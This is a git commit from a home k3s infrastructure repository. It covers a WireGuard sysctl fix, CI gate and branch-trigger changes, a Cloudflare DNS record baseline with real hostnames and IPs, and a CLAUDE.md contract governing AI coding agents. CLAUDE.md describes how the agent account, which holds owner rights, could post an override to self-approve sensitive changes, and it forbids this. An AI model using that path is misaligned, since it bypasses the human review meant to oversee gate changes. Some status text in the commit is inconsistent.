fix(vpn-ingress): stop trying to set net.ipv4.ip_forward — a hostNetwork pod cannot, and wg-quick dies on a failed PostUp

The tunnel never came up on its first reconcile with a real key. One line of my
own manifest was the whole cause. Measured on prod 2026-10-06:

    [#] ip link add dev wg0 type wireguard        <- fine
    [#] wg addconf wg0 /dev/fd/63                 <- fine
    [#] ip -4 address add 10.90.0.1/24 dev wg0    <- fine
    [#] ip link set mtu 1420 up dev wg0           <- fine
    [#] sysctl -q -w net.ipv4.ip_forward=1
    sysctl: permission denied on key "net.ipv4.ip_forward"
    [#] ip link delete dev wg0
    **** Tunnel failed, will stop all others! ****

Not a missing capability: with hostNetwork the runtime mounts /proc/sys
READ-ONLY (confirmed in the pod's /proc/mounts), because those sysctls are the
HOST's globals. CAP_NET_ADMIN cannot lift a read-only mount, so the write can
never succeed here -- and wg-quick treats a failed PostUp as fatal, so it
deleted the interface it had just built.

The line was never needed. node_baseline already sets ip_forward=1, and reading
it from the pod returns 1. My header comment said exactly that ("so no pod
sysctl is needed") and then emitted the sysctl anyway, justified as "re-asserted
so this component does not silently depend on another role's sysctl file". That
defensive re-assertion is the entire outage. In a hostNetwork pod: VERIFY host
state, never write it.

Replaced with a read in the init container -- `grep -qx 1
/proc/sys/net/ipv4/ip_forward` -- failing closed with a message naming the
node_baseline role. Still fail-closed on purpose: a tunnel that comes up unable
to forward satisfies every probe here and silently drops all client traffic.

Also documents, in the manifest and the runbook, that the image's `chown:
Operation not permitted` run and its "we will not provide support for it"
warning are expected and harmless -- capabilities are dropped to NET_ADMIN so
its s6 init has no CAP_CHOWN, /config is a writable tmpfs, everything runs as
root, and wg-quick proceeds (it did; the failure was 30 lines later).

Three other unknowns closed by the same reconcile, now recorded in the README:
the kernel module reaches the pod (ip link add type wireguard works, no
CAP_SYS_MODULE needed); allowPrivilegeEscalation:false does NOT break the s6
init; and the image's iptables is nf_tables (xtables-nft-multi) matching Debian
13, which closes the worst documented fear -- rules landing in a table the
kernel never consults.

No sensitive paths; merges on a green gate with no override.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

.gitea/workflows/README.md

@@ -15,7 +15,7 @@ it touches is green** (R-TEST-03).
 ## The pipeline
 
 ```
- lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
+ decisions-log ─▶ lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
  └──────────────── run in CI, NO cluster ────────────────┘        └── in-cluster Chainsaw Job ──┘
                     live now                              cluster-gated (SKIPS in Phase 0)
 ```
@@ -40,9 +40,15 @@ and ADR-0011: **CI holds no broad kubeconfig.** L2/L3 run as an in-cluster **Cha
 *collects* its artifacts, using a narrow trigger credential referenced **by secret name only**
 (`secrets.CONFORMANCE_TRIGGER_KUBECONFIG`) — never a plaintext secret, never a cluster-admin kubeconfig.
 
-## Honest SKIP — never fake green (Phase 0)
+## Honest SKIP — never fake green
 
-**No cluster exists in Phase 0.** The gate is deliberately built so unavailable checks **SKIP loudly,
+**NOTE (2026-09-29):** this section is written in the past's voice — "Phase 0", "no cluster
+exists". **A cluster has existed for weeks** and Flux has been reconciling against it. The
+skip logic below is still correct and still honest, but read it as describing a **live
+coverage gap** (L2/L3 is not wired into CI) rather than an expected phase. Its being
+phrased as a phase is part of why the gap went unexamined.
+
+Originally: The gate is deliberately built so unavailable checks **SKIP loudly,
 they do not pass**:
 
 - The `conformance` job is `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}` — with no cluster it is
@@ -77,21 +83,29 @@ Both dirs are git-ignored (see [`.gitignore`](../../.gitignore)).
 ## Triggers & branch model (CONTRIBUTING.md)
 
 - `pull_request` → `main`: **PRs are the enforced merge gate into `main`.**
-- `push` → `feature/**`, `fix/**`, `docs/**`, `chore/**`: fast feedback on the branch. **No work on `main`.**
+- `push` → `main` only. The per-branch prefix list was removed: `act_runner` runs at capacity 1,
+  so a branch push fires a redundant run that serialises *ahead* of the PR run for the same tree.
+  **No work on `main`** — and since 2026-09-29 that is enforced, not conventional: `main` is a
+  protected branch and a direct push is rejected by the pre-receive hook (verified, not assumed).
 
-## Transition: generic-CI-now → Gitea-Actions-after-Gitea-is-up
+## Transition: COMPLETE (2026-09-29)
 
-Per [`CONTRIBUTING.md`](../../../home-network-k3s/CONTRIBUTING.md) and
-[`docs/05` §"local bootstrap → self-hosted Gitea"](../../../home-network-k3s/docs/05-gitops-and-delivery.md):
+This section used to describe a migration as pending. It has happened. Gitea is live at
+`gitea.home.keithjackson.dev`, the runner `incluster-dind` is registered and online, and
+`gate.yml` runs on every PR.
 
-1. **Now (interim):** there is **no remote git host** on this network. This workflow file is dormant —
-   but the **identical gate runs locally today** via `make -C ci gate` (R-TEST-02). Development is
-   local feature-branch → `main`, the gate enforced by convention + the local runner.
-2. **Gitea comes online early** (one of the first services onboarded) at `gitea.home.keithjackson.dev`.
-3. **CI moves to Gitea Actions:** this workflow activates unchanged. The only operational steps are
-   enabling a Gitea Actions runner and setting `vars.CLUSTER_AVAILABLE=true` +
-   `secrets.CONFORMANCE_TRIGGER_KUBECONFIG` once a dev/test cluster exists. PRs then become the
-   **platform-enforced** merge gate — the same no-work-in-main rule, now enforced by machine.
+**What took a month to notice:** the migration was recorded as done on 2026-08-31 without
+anyone checking the platform. In reality `main` had **no branch protection** and **zero
+runners were registered** until 2026-09-29. Every "the gate enforces this" statement in
+between rested on an assertion nobody verified. PR #1 — the first pull request this
+repository ever had — sat `pending` for 30.6 minutes because nothing existed to run it.
+
+So: **do not read this file, or the DECISIONS-LOG, as evidence about the live platform.**
+Query the API. `infra/gitea/` holds the scripts and the measured state.
+
+Still genuinely outstanding: `vars.CLUSTER_AVAILABLE` and
+`secrets.CONFORMANCE_TRIGGER_KUBECONFIG` are unset, so L2/L3 conformance does not run in
+CI. That is a real coverage gap, not a phase.
 
 ## Configuration (set in Gitea; referenced by name only)
 

.gitea/workflows/gate.yml

@@ -44,16 +44,31 @@
 ---
 name: gate
 
+# TRIGGERS — deliberately only `pull_request` into main, plus `push` to main itself.
+#
+# There is NO per-branch push trigger. There used to be a prefix list (feature/** fix/**
+# docs/** chore/**) for "fast feedback on the branch", and it was a net negative here:
+#
+#   * `act_runner` runs at capacity 1. A branch push and its PR fire the SAME gate over the
+#     SAME tree, and the redundant run SERIALISES AHEAD of the PR run — doubling the wall
+#     clock on the one result that actually gates the merge. That cost real time during the
+#     2026-09-29 plex claim, where the loop is racing a short-lived token.
+#   * The list silently did not match this repo's own convention. Branches here are `feat/**`,
+#     which was absent, so the "fast feedback" never fired for the most common prefix anyway —
+#     a mismatch nobody noticed for a month because its only symptom was a MISSING run.
+#     Any hand-maintained prefix list has that failure mode; deleting it removes the class.
+#   * It is redundant. CLAUDE.md already requires `./ci/gate.sh` in the pinned toolbox before
+#     you push (74s locally), and the PR gate re-runs it authoritatively. A third run of the
+#     same checks buys nothing.
+#
+# `push: [main]` is KEPT: post-merge main must still be verified, and it is the only run for
+# which no PR context exists.
 on:
   pull_request:
     branches: [main]
   push:
     branches:
       - main
-      - 'feature/**'
-      - 'fix/**'
-      - 'docs/**'
-      - 'chore/**'
 
 concurrency:
   group: gate-${{ github.ref }}
@@ -95,9 +110,31 @@ jobs:
       # UNVERIFIED and NAMED in the PASS headline, never faked green. GATE_STRICT_SKIPS + the
       # tolerated exit 3 are explained in the file header; the tolerance covers exactly one
       # thing, the unverifiable spec repo, and nothing else can produce a 3 here.
+      # GITEA_SETTINGS_TOKEN feeds ci/gitea-settings.sh, the only check that can see Gitea's
+      # OWN database (branch protection + runner registration) — the blind spot that let `main`
+      # sit unprotected with zero runners for a month while this repo recorded both as working.
+      # Referenced BY NAME only; create it with infra/gitea/set-ci-token.sh.
+      #
+      # WIDENED TOLERANCE, DECLARED: `|| [ "$?" -eq 3 ]` used to cover exactly one skip
+      # (spec-immutability). It now also covers gitea-settings skipping when that secret is
+      # absent. That is a deliberate, temporary weakening: making an unwired credential BLOCK
+      # every PR is the lock-yourself-out failure this repo keeps walking into. Once the secret
+      # exists and the stage has been SEEN green, set REQUIRE_GITEA_SETTINGS=true below and the
+      # tolerance narrows back to spec-immutability alone.
       - name: Merge gate — ci/gate.sh (what `make -C ci gate` runs)
         env:
           GATE_STRICT_SKIPS: "true"
+          SETTINGS_API_TOKEN: ${{ secrets.SETTINGS_API_TOKEN }}
+          # ENABLED 2026-09-29. A skip of gitea-settings now BLOCKS instead of degrading to
+          # UNDETERMINED. Safe because THIS PR's own CI run is the proof: if the stage were
+          # skipping, this line turns that into a failure and the PR goes red instead of
+          # merging. Green here means the token resolved and the live Gitea matched the
+          # declaration in infra/gitea/expected-branch-protection.json.
+          REQUIRE_GITEA_SETTINGS: "true"
+          # ci/approval-policy.sh needs to know WHICH PR it is looking at, so it can read that
+          # PR's changed files and its reviews. Absent on a push event, where the stage is N/A.
+          GITHUB_EVENT_NAME: ${{ github.event_name }}
+          PR_NUMBER: ${{ github.event.pull_request.number }}
         run: ./ci/gate.sh || [ "$?" -eq 3 ]
 
       # NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4

.gitea/workflows/merge-gate.yaml

@@ -11,11 +11,14 @@
 #                                          v
 #                                     merge-gate decision  [R-TEST-03: touched subset green]
 #
-# Transition (CONTRIBUTING.md / docs/05 §"local bootstrap -> self-hosted Gitea"):
-# Today there is no Gitea host, so this file is dormant. The SAME gate is runnable
-# now via `make -C ci gate` (R-TEST-02). Once Gitea is self-hosted and Gitea
-# Actions is enabled, this workflow becomes the ENFORCED PR merge gate into main —
-# no code change required, only turning on the runner and setting CLUSTER_AVAILABLE.
+# STATUS (corrected 2026-09-29): Gitea IS hosted and Gitea Actions IS enabled; the runner
+# `incluster-dind` is online and gate.yml is the live PR gate. The text that used to sit here
+# ("Today there is no Gitea host, so this file is dormant") was stale by weeks -- it was written
+# as a plan and never revisited once the plan completed.
+#
+# THIS file is still dormant, but for the reason in the DORMANT block below -- its spec checkout
+# and L2/L3 seams are unwired -- NOT because there is no host. Do not read a stale plan as a
+# statement about the live platform; query the API instead (see infra/gitea/).
 #
 # CI holds NO broad kubeconfig. L2/L3 run as an in-cluster Chainsaw Job whose own
 # scoped ServiceAccount holds cluster access (docs/14, R-SEC-02); CI uses only a

.gitignore

@@ -37,6 +37,14 @@ coverage/
 infra/tofu/backend.hcl
 infra/tofu/.r2.env
 
+# Operator scratch, writable from inside the dev container (the repo is its only persistent
+# read-write mount). Holds things that must never be committed: a staged copy of the SOPS age or
+# WireGuard key, rendered VPN client profiles (infra/vpn-ingress/new-peer.sh writes here by
+# default). `infra/ansible/.gitignore` already does this for its own .cache/; this is the same
+# convention at the root. Do NOT rely on `*.key` alone to protect a staged key — that only covers
+# one filename shape, which is why this rule exists.
+.cache/
+
 # Claude Code local scratch: agent worktrees + session state. Nothing here is tracked;
 # ignoring it keeps `git add -A` from staging embedded worktree repos and keeps the lint
 # stage (which scans untracked files) from tripping on .claude/worktrees/.

.standup-dns/dns-20260914-pre-externaldns-scope.txt

@@ -0,0 +1,97 @@
+# RECOVERY BASELINE — the COMPLETE Cloudflare record set for zone `keithjackson.dev`
+# as it stood IMMEDIATELY BEFORE feat/externaldns-scope-public-only is applied.
+#
+# WHY THIS FILE EXISTS. The branch that adds it changes which resources ExternalDNS considers,
+# and ExternalDNS runs `policy: sync` — a record whose source stops matching is DELETED, not
+# merely left alone. That is a one-way, outward-facing operation against a live authoritative
+# zone, so the pre-state is captured and committed BEFORE the change lands, and any record the
+# reconcile removes can be restored by hand from this file. It is the same discipline as
+# dns-before.txt / dns-verify.txt / dns-post-l2.txt beside it, applied to a destructive-capable
+# change rather than to a migration.
+#
+# CAPTURED 2026-09-14 from the Cloudflare API (GET /zones/<id>/dns_records, all pages) using the
+# SOPS-encrypted token in platform/externaldns/cloudflare-api-token.sops.yaml. Read at the
+# AUTHORITY, not through a resolver: 1.1.1.1 served stale answers for minutes after the
+# 2026-09-13 apex flip and must not be trusted for this. `dig` is on the host but NOT in the
+# devcontainer, which has previously produced false "no records" readings — the API is the only
+# reading that is both complete and authoritative.
+#
+# FORMAT (5 fields, `|`-separated) — wider than the sibling files on purpose: a restore needs the
+# TTL and the proxy flag, not just the value.
+#
+#   <type>|<name>|<content>|<ttl>|<proxied>
+#
+# ttl 1 = Cloudflare "Automatic". proxied false = DNS-only (grey cloud), which every record here
+# is; a restore that flips one to proxied would put Cloudflare's edge in front of a LAN address.
+#
+# 39 records. 36 of them are ExternalDNS-managed (18 A + their 18 `a-`-prefixed TXT registry
+# entries), every one registered `external-dns/owner=prod` — i.e. THIS cluster owns them, which
+# is why this cluster's reconcile is able to delete them. The remaining 3 belong to the legacy
+# non-k3s stack and carry NO TXT registry entry, so no owner id claims them and ExternalDNS
+# cannot touch them regardless of what this branch does:
+#
+#   *.keithjackson.dev            -> 136.51.115.252   legacy stack (the zone wildcard)
+#   brickbreak.keithjackson.dev   -> 20.236.242.14    unrelated, off-prem
+#   dev.brickbreak…               -> 20.236.242.14    unrelated, off-prem
+#
+# NOTE there is NO `*.home.keithjackson.dev` wildcard in the zone any more (the comment in
+# clusters/prod/kustomization.yaml still says the zone has both wildcards; it does not, as of
+# this capture). A single-label wildcard does not match two labels, so `*.keithjackson.dev` does
+# NOT cover `<svc>.home.keithjackson.dev`: when a specific `<svc>.home` record is removed, that
+# name goes to NXDOMAIN publicly rather than falling back to the legacy IP. That is the intended
+# end state for `internal` services and it is also precisely why Pi-hole must already be
+# answering the LAN authoritatively before this branch merges.
+#
+# WHICH OF THESE THIS BRANCH DELETES — the 12 rows for the six `exposure: internal` catalog
+# services (jackett, pihole, qbittorrent, radarr, semaphore, sonarr): each one's A record and its
+# `a-`-prefixed TXT registry entry. Nothing else. Verified live on prod against the deployed
+# v0.21.0 with a throwaway hostname before any of this was authored: adding the annotation to an
+# HTTPRoute that already had a published record produced
+# `action=DELETE record=... type=A` and `action=DELETE record=a-... type=TXT` one reconcile
+# interval (~60s) later, and nothing else in the zone moved.
+#
+# TO RESTORE ONE ROW BY HAND (both halves, or ExternalDNS will not recognise the record as its
+# own): recreate the A record with its value/ttl/proxied from this file, then recreate the
+# matching `a-<name>` TXT with its content VERBATIM — the `heritage=…,external-dns/owner=prod,
+# external-dns/resource=…` string is what re-establishes ownership. An A record restored without
+# its TXT is unowned and will not be reconciled; a TXT restored with a wrong `resource=` value
+# points the registry at a source object that does not exist.
+A|*.keithjackson.dev|136.51.115.252|1|false
+A|auth.home.keithjackson.dev|192.168.2.20|1|false
+A|brickbreak.keithjackson.dev|20.236.242.14|1|false
+A|crafty-mc.home.keithjackson.dev|192.168.2.22|1|false
+A|crafty.home.keithjackson.dev|192.168.2.20|1|false
+A|dev.brickbreak.keithjackson.dev|20.236.242.14|1|false
+A|gitea.home.keithjackson.dev|192.168.2.20|1|false
+A|grafana.home.keithjackson.dev|192.168.2.20|1|false
+A|headlamp.home.keithjackson.dev|192.168.2.20|1|false
+A|home.keithjackson.dev|192.168.2.20|1|false
+A|jackett.home.keithjackson.dev|192.168.2.20|1|false
+A|keycloak.home.keithjackson.dev|192.168.2.20|1|false
+A|nextcloud.home.keithjackson.dev|192.168.2.20|1|false
+A|pihole.home.keithjackson.dev|192.168.2.20|1|false
+A|plex.home.keithjackson.dev|192.168.2.20|1|false
+A|qbittorrent.home.keithjackson.dev|192.168.2.20|1|false
+A|radarr.home.keithjackson.dev|192.168.2.20|1|false
+A|seerr.home.keithjackson.dev|192.168.2.20|1|false
+A|semaphore.home.keithjackson.dev|192.168.2.20|1|false
+A|sonarr.home.keithjackson.dev|192.168.2.20|1|false
+A|unifi.home.keithjackson.dev|192.168.2.21|1|false
+TXT|a-auth.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/oauth2-proxy/oauth2-proxy"|1|false
+TXT|a-crafty-mc.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=service/crafty/crafty-l4-tcp"|1|false
+TXT|a-crafty.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/crafty/crafty"|1|false
+TXT|a-gitea.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/gitea/gitea-3000"|1|false
+TXT|a-grafana.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/monitoring/grafana"|1|false
+TXT|a-headlamp.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/headlamp/headlamp"|1|false
+TXT|a-home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/homepage/homepage"|1|false
+TXT|a-jackett.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/jackett/jackett-9117"|1|false
+TXT|a-keycloak.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/keycloak/keycloak"|1|false
+TXT|a-nextcloud.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/nextcloud/nextcloud-80"|1|false
+TXT|a-pihole.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/pihole/pihole-80"|1|false
+TXT|a-plex.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/plex/plex-32400"|1|false
+TXT|a-qbittorrent.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/qbittorrent/qbittorrent-8080"|1|false
+TXT|a-radarr.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/radarr/radarr-7878"|1|false
+TXT|a-seerr.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/seerr/seerr-5055"|1|false
+TXT|a-semaphore.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/semaphore/semaphore-3000"|1|false
+TXT|a-sonarr.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/sonarr/sonarr-8989"|1|false
+TXT|a-unifi.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=service/unifi/unifi-l4-tcp"|1|false

CLAUDE.md

@@ -0,0 +1,361 @@
+# CLAUDE.md — how work lands in this repo
+
+Read this before doing anything durable. It is the delivery contract for AI coding
+sessions and agents. The newest entry in `decisions/` is the current PM handoff and
+takes precedence on *what* to work on; this file governs *how* it lands.
+
+**Start with §0.** It is first because it is the rule you can break before you have read
+anything else: the very first `git checkout -b` in the wrong directory has already done the
+damage.
+
+## 0. Work in your OWN workspace. Never in the shared checkout.
+
+Before you create a branch, edit a file, or run `git` anything: **make yourself a git
+worktree outside the repository root, and do all of your work there.** One workspace per
+agent run, no exceptions.
+
+    # from the shared checkout, ONCE, at the start of your run
+    git fetch origin main
+    git worktree add -b <type>/<slug> /path/outside/the/repo/wt-<slug> origin/main
+    cd /path/outside/the/repo/wt-<slug>        # everything after this happens HERE
+
+`/path/outside/the/repo` means outside this repository's tree — your session scratchpad,
+or a sibling like `/var/home/keith/source/wt-<slug>`. Branch from **`origin/main`**, never
+from `main` and never from `HEAD`; see "stale base" below.
+
+**The shared checkout is `/var/home/keith/source/home-network-k3s-impl`** — the operator's
+working copy, the one you are probably started in. In it, do **not**:
+
+- **`git checkout` / `git switch` / `git checkout -b`.** Its HEAD is shared state; moving
+  it moves the tree out from under whoever else is using it.
+- **edit, create or delete a file.** Including "just one doc", including a file you intend
+  to move later.
+- **`git add` / `git commit` / `git stash` / `git restore`.** `git add -A` there stages
+  whatever another agent left lying around; `git stash` *removes* their uncommitted work
+  into a place they will not look.
+- **`git worktree remove` anything you did not create.**
+
+Read-only commands there are fine, and the one write you do need is creating your own
+worktree.
+
+### Why — measured in the shared checkout, 2026-10-05
+
+| What was measured | Value |
+|---|---|
+| `checkout: moving` entries in its reflog | **107** — the tree has been yanked between branches 107 times |
+| the branch it was sitting on | `feat/pm-agent-issue-to-pr` — **not `main`** |
+| uncommitted trees left in it by other runs | **2** (`infra/agent/`, `platform/pm-agent/`), mtimes five minutes apart the same evening |
+| its local `main` vs `origin/main` | **two commits behind** (`4386d14` vs `22c94ef`) |
+| registered worktrees | **42**, of which **31** are on branches already merged to `main` |
+| gate scripts carrying an explicit `.claude/` exclusion | **9** |
+
+Each row is a distinct way the shared checkout damages work:
+
+- **Dirty tree, foreign files.** Two other runs' uncommitted directories were sitting in
+  it. An agent that edits there and runs `git add -A` ships someone else's half-finished
+  work inside its own PR, and the PR's author has no idea what those files are. This is not
+  hypothetical and it is not historical: **eleven minutes after those two directories were
+  measured, while this very section was being written, another run committed them** —
+  `5334abe feat(pm-agent): ...`, 1,000+ lines across `infra/agent/`, `clusters/`, `catalog/`
+  and `apps/` — onto the shared checkout's checked-out branch, moving its HEAD under anyone
+  reading it. Had this rule's author been working in that tree rather than in a worktree,
+  that commit and this one would have collided.
+- **Stale base.** Its `main` was two commits behind `origin/main`, so
+  `git checkout -b x main` there branches off a tree that is already not what CI will merge
+  into — the gate you run locally proves a base nobody else has. Worse, it was not even *on*
+  `main`: a bare `git checkout -b x` would have branched off `feat/pm-agent-issue-to-pr` and
+  silently inherited that work into your PR. `git fetch` first, and name `origin/main`
+  explicitly as the start point.
+- **Shared HEAD.** 107 branch switches in one tree is 107 chances to switch it while
+  another agent is mid-edit. The loser's changes are either carried onto the wrong branch
+  or lost to a checkout conflict — and the symptom surfaces in *their* session, not yours.
+
+### Put the workspace OUTSIDE the repo root
+
+A worktree *inside* the tree (`.claude/worktrees/agent-*/` — which is where Claude Code's
+own default puts it) is a full second copy of the repo that every tree-walking check then
+finds. Measured 2026-09-12: `find`-based discovery reported **the same manifest under test
+once per worktree, up to 18 times**, and the L0 check comparing that listing against the
+tree failed on paths that are not authored surface at all
+(`platform/monitoring/tests/run.sh:115-123`). Nine gate scripts now carry an explicit
+`.claude/` prune for this reason — which means the hazard is *worked around*, not fixed,
+and the next check that walks the tree will hit it again. Keep the copy out of the tree and
+none of that applies.
+
+### Clean up — and expect not to be able to
+
+31 of the 42 registered worktrees are on branches already merged to `main`. A registered
+worktree **pins its branch**: while it exists, that branch cannot be deleted or checked out
+anywhere else. So a left-behind workspace is a lock on a branch name, and the cost lands on
+whoever next needs it.
+
+Remove yours when you are done:
+
+    git worktree remove /path/outside/the/repo/wt-<slug>
+
+Measured 2026-10-05: on a worktree **you created yourself, in the session scratchpad**, that
+command **succeeds** — rc 0, no prompt, with or without a branch checked out. The "worktree
+removal is sandbox-blocked" note in circulation is about the `.claude/worktrees/agent-*` ones
+belonging to *other* sessions, some of which are additionally `locked` on git's own terms. So:
+remove yours, and only yours. If removal is refused, say so in your handoff and leave the
+worktree registered — do **not** `rm -rf` the directory, which leaves a registered worktree
+pointing at nothing and still holding the branch.
+
+If someone *else's* stale worktree is holding the branch you need, do not try to reclaim the
+branch name. Push a `rework/<pr-number>` branch to the PR's refspec instead.
+
+### If you are already standing in the shared checkout with edits
+
+Stop. Do not `git stash` (that moves other agents' work too). Create your worktree as
+above, redo the edits there, and leave the shared checkout's HEAD and working tree exactly
+as you found them.
+
+### Gating from a worktree
+
+Three known breakages, all with workarounds, all required every run: see §3, "Running the
+gate from a worktree".
+
+### If you are writing a brief for another agent
+
+The brief must name **its own explicit branch** and tell it to create **its own worktree**
+from `origin/main`. "Work on the current branch" and "continue in the checkout" are how
+branch sprawl and cross-contamination got here: an agent given no workspace uses the one it
+is started in, which is the shared one. Also carry §3's three gate workarounds into the
+brief — an agent that cannot gate will report rc 3 as green.
+
+## 1. Never push to `main`. Ever.
+
+Every durable change reaches `main` exactly one way:
+
+    branch  ->  push the branch  ->  open a PR  ->  CI gate green  ->  human approval  ->  merge
+
+There is no other path. Specifically:
+
+- **Do not `git push origin main`.**
+- **Do not `git push origin HEAD:main`.** Same thing wearing a hat.
+- **Do not merge your own PR.** See the approval model below — and either way, the merge is
+  someone else's action, never yours.
+
+### Who approves
+
+**The CI/CD pipeline is the approver.** A green gate is sufficient for an ordinary change; the
+branch requires no human approval for one. That is a deliberate transfer of authority, on the
+operator's stated principle: *if the pipeline is not good enough to be trusted for this, it is not
+good enough to do its job and needs improving* — so a weak gate is a bug to fix, not a reason to
+add a human.
+
+**One exception, enforced by `ci/approval-policy.sh`:** a change to the pipeline itself, the
+admission policies, the Flux wiring, the SOPS recipients, the RBAC, or this file needs an
+approving review from someone who is not its author. The reason is narrow and structural — **a
+change to the gate cannot be gated by the gate.** A PR that weakens a check would be approved by
+the weakened check. Everything else merges on green.
+
+The path list is data, with a reason per entry: `infra/gitea/approval-policy.json`. It is itself a
+sensitive path, so the policy cannot be widened or narrowed without a human.
+
+That stage is **fail-closed** — if it cannot evaluate, it blocks. Unlike `gitea-settings`, where a
+missing credential is a lock-out, here a skip would be a bypass.
+
+**The administrator override (2026-10-01).** The rule above was unsatisfiable for the one human
+who runs this repo: Gitea refuses to let an author approve their own PR, and `jakman85` is the
+only collaborator — so a sensitive-path PR the operator opened could never be merged, *including
+the PR that would fix that.* An administrator may therefore waive the review by posting this on
+the PR:
+
+    /approve-override <reason>
+
+**Post it as a PR *review* of type "Comment", not in the plain comment box.** CI's
+`SETTINGS_API_TOKEN` is minted `[read:repository, read:admin]`, and `/issues/{n}/comments` sits
+behind Gitea's *issue* scope — so an override typed into the comment box is **invisible to CI**,
+and the stage reports it as a missing approval rather than as a permission problem (measured on
+PR #38, 2026-10-02). `/pulls/{n}/reviews` is readable, so a review body works today. Both sources
+are accepted and the gate names which it used; the comment box starts working once
+`infra/gitea/set-ci-token.sh` is re-run to pick up `read:issue`.
+
+The directive must **start a line**, the **reason is mandatory**, the poster's `admin`/`owner`
+permission is re-checked **live** when the gate runs, and it must be **newer than the
+head commit** — push again and you must override again. The overrider, the timestamp and the
+reason are printed in the gate log and the job summary. For an administrator, "a change to the
+gate cannot be gated by the gate" is therefore **advisory, not structural**; what is kept is an
+attributed record of each waiver. Note that the agent account `gitea-admin` also holds `owner`
+here, so an agent *can* clear this on its own PR — **do not**: posting that directive to unblock
+your own agent work is exactly the self-approval the stage exists to prevent. Get the operator
+to post it, or move the change out of the sensitive paths.
+
+**`required_approvals` on `main` is `0`**, not 1 — the gate is the approver. That drops the
+approval *count* only: `block_admin_merge_override` and `enable_status_check` both remain `true`,
+so **a red gate is unmergeable by everyone, administrators included.**
+- **Do not `kubectl apply` / `edit` / `patch` a durable change.** Flux reconciles `main`;
+  anything applied by hand is drift that the next reconcile reverts or, worse, adopts.
+
+> **Many runbooks under `runbooks/` still say `git push origin main` IS the deploy.**
+> That wording is **stale** — it predates the PR flow. It describes what Flux does
+> (main is what the cluster follows), not what you are permitted to do. Honour this
+> file, not that line. Fixing those runbooks is tracked work.
+
+## 2. Enforcement (as of 2026-09-29: the rule is now MACHINE-ENFORCED)
+
+Verified against the live Gitea on 2026-09-29:
+
+| Expected | Actual |
+|---|---|
+| `main` protected, direct push rejected | ✅ `protected: true`, `user_can_push: false` — **verified by a real rejected push**, not by the API's word |
+| PR blocked until the gate passes | ✅ `enable_status_check: true`, context `gate / gate (pull_request)` |
+| Gate runs on every PR | ✅ runner `incluster-dind` online; ~1m35s |
+| Gate cannot be overridden, by anyone | ✅ `block_admin_merge_override: true` |
+| Human approval required before merge | ⬜ **No — `required_approvals: 0` since 2026-10-01.** The gate is the approver; sensitive paths are gated by `ci/approval-policy.sh` instead. See §1 |
+
+The first three were FALSE as recently as 2026-09-29, while this repo's own log asserted they were
+true. They are true now because each was measured, and the push rejection was provoked rather
+than assumed. **Re-measure before relying on any of them** — see §2b.
+
+The fourth row deliberately changed on 2026-10-01. `required_approvals: 1` was a **lock-out**, not
+a protection: with a single collaborator and Gitea refusing author self-approval, nothing could
+satisfy it (measured on PR #35 — green gate, zero reviews, unmergeable). It also contradicted the
+model already written into `ci/approval-policy.sh` and `ci/gate.sh`. Rationale and the live-change
+script: `infra/gitea/allow-admin-self-merge.sh`.
+
+Still not covered: `vars.CLUSTER_AVAILABLE` is unset, so **L2/L3 conformance does not run in
+CI**. A green PR therefore proves the L0/L1 offline subset, not runtime behaviour.
+
+**Consequence for you:** CI now runs, but it does not yet *block* anything. Always run
+the toolbox gate yourself and quote its numbers. Never describe a PR as "green" on the
+strength of a check you have not seen report — and note that a **skipped** Gitea job
+reports as `success`, so a green tick is not by itself evidence that anything ran.
+
+## 2b. Never infer platform state from this repository
+
+**This repo is not evidence about the live platform.** Neither is the handoff log
+(`decisions/`, and the frozen `DECISIONS-LOG.md` archive). Both describe what someone
+believed at the time of writing, and both have been confidently wrong for a month at a
+stretch.
+
+On 2026-09-29 the log stated the merge gate was a required status check with a runner
+online. The API said `branch_protections: []` and **zero** runners. Everything downstream
+of that belief — "the gate enforces this", "your push would be rejected", "CI covers it" —
+was wrong, and nothing in the tree could have revealed it, because the tree was the source
+of the error.
+
+**So, before asserting that any gate, protection, runner, secret, or workload is in a
+given state: query the thing itself.**
+
+| Claim about... | Check |
+|---|---|
+| branch protection / required checks | `GET /api/v1/repos/{owner}/{repo}/branches/main` |
+| a runner exists | `GET /api/v1/admin/actions/runners` |
+| CI actually ran | the commit's `/statuses` — and read the **description**; a *skipped* Gitea job reports `success` with "Has been skipped" |
+| a workload / Secret / env | `kubectl --context k3s-prod ...` (read-only is fine for agents) |
+| Flux applied your commit | compare `.status.lastAppliedRevision` against the GitRepository's artifact revision |
+
+Quote the measured field, not the prose. If you cannot measure it, say so explicitly —
+"unverified" is a legitimate report, and a far better one than a confident guess that
+matches the docs.
+
+**A green tick is not proof anything ran.** Read what actually executed.
+
